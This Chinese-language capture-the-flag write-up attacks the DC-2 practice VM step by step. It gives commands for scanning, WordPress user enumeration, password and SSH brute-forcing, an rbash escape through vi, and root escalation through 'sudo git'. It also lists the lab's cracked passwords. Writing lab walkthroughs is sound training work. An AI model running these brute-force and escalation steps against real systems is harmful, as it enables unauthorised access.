一.环境搭建
下载地址:http://www.five86.com/downloads/DC-2.zip
直接点击无法下载可以用迅雷下
设置网络为nat模式,其他的错误全部点重试和是
打开靶机,启动如下图所示
二.开始打靶
1.信息收集
arp-scan -l
查看到同网段有一个192.168.111.130的主机,就是靶机ip,192.168.111.128是kali(攻击机)ip
nmap 192.168.111.130 -p- -sV
扫描一下开放端口和开放服务,发现一个http和ssh开放,去访问一下http的服务
发现无法访问,查看了一下大佬写的wp,要修改一下dns设置
linux:
vim /etc/hosts
windows:
C:\Windows\System32\drivers\etc
修改完成后成功访问,往下翻,可以看到wordpress
点击flag,查看flag1
让我们用cewl这个工具去收集一些情报用于创造针对这个网站的字典,因为他提示通常的wordlists没有用
cewl http://dc-2/index.php/flag/ -w dict.txt
因为cms是wordpress,所以用wpscan扫一下用户
wpscan --url http://dc-2 --enumerate u
得到用户admin,jerry,tom,创建用户文件,写入这三个用户
touch users.txt
vim users.txt
2.用户爆破
进行用户的账号密码爆破
wpscan --url http://dc-2/ -U users.txt -P dict.txt
爆破出jerry和tom的账号密码
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
进行登录,查找登录界面,我们可以用dirsearch进行目录爆破,也可以百度一下wordpress的登录界面在哪
dirsearch -u http://192.168.111.130
点击wp-admin那个链接,输入jerry/adipiscing,登录后天,点击7pages,查看flag2
我感觉这玩意是句废话。。,看看其他大佬写的wp吧
哦对,打到现在,那个不是22端口的ssh服务还没有进行爆破,我们对它进行爆破,记得一定要使用端口号
hydra -l users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.130:7744
3.获取shell
使用tom的账号密码,tom/parturient进行ssh登录
ssh tom@192.168.111.130 -p 7744
登录成功,但是使用cat,tart等一系列查看文件的命令都无法执行,用less和vi可以看到要切换到jerry用户,但是禁止用su命令
发现rbash,就是受限制的shell,我们就要绕过rbash
4.绕过rbash
使用vi编辑进行绕过
(1)vi 文件名 //文件名自取
(2)输入:set shell=/bin/sh,然后回车
(3)输入:shell
(4)设置环境变量:export PATH=/usr/sbin:/usr/bin:/sbin:/bin
看到给出提示
直接用su切换到jerry,jerry密码为adipiscing
切换后,cd到/home目录下,发现jerry文件夹,进入/jerry找到了flag4
flag4给出提示
5.git提权
输入‘sudo git help config’进入配置文件,在文件末尾输入‘!/bin/bash’,即可成功提权
sudo git help config
GG(切换到大写,敲两下到文件最底部)
!/bin/bash
直接敲出以上内容按下回车,可以看到前面变成了root
切换到/root目录,查看最终的flag
cd /root
ls
cat final-flag.txt
其他
1.可以使用环境变量绕过rbash
BASH_CMDS[a]=/bin/sh;a //把/bin/bash给变量a
$ export PATH=$PATH:/bin/ //将/bin作为PATH环境变量导出
$ export PATH=$PATH:/usr/bin //将usr/bin作为PATH环境变量导出
$ echo /*
然后再切换到jerry用户,以后步骤相同